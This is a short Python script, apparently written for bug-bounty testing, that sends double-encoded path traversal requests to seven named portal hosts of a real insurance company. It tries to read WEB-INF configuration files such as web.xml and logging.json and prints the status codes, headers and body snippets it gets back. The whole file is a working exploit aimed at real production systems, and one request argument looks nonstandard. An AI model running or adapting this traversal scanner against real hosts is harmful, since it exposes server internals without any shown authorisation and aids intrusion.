from curl_cffi import requests
import json, time, hashlib
hosts=['mein-portal.baloise.de','mein-portal-registrierung.baloise.de','infoportal.baloise.de','maklerportal.baloise.de','si-portal.baloise.de','vertriebsservice.baloise.de','zeus-portal.baloise.de']
headers={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache'}
for h in hosts:
  for n in range(3,8):
    trav='/'.join(['%252e%252e']*n)
    for leaf in ['WEB-INF/classes/logging.json','WEB-INF/web.xml;.json']:
      u=f'https://{h}/auth/ui/assets/airlock/i18n/{trav}/{leaf}?rsdepth={n}'
      try:
        r=requests.get(u,headers=headers,timeout=20,impersonate='chrome',allow_redirects=False,toadex_capture=False)
        b=r.content
        print(json.dumps({'host':h,'n':n,'leaf':leaf,'status':r.status_code,'size':len(b),'ct':r.headers.get('content-type'),'etag':r.headers.get('etag'),'body':b[:300].decode('utf-8','replace')},ensure_ascii=False))
      except Exception as e:
        print(json.dumps({'host':h,'n':n,'leaf':leaf,'error':str(e)}))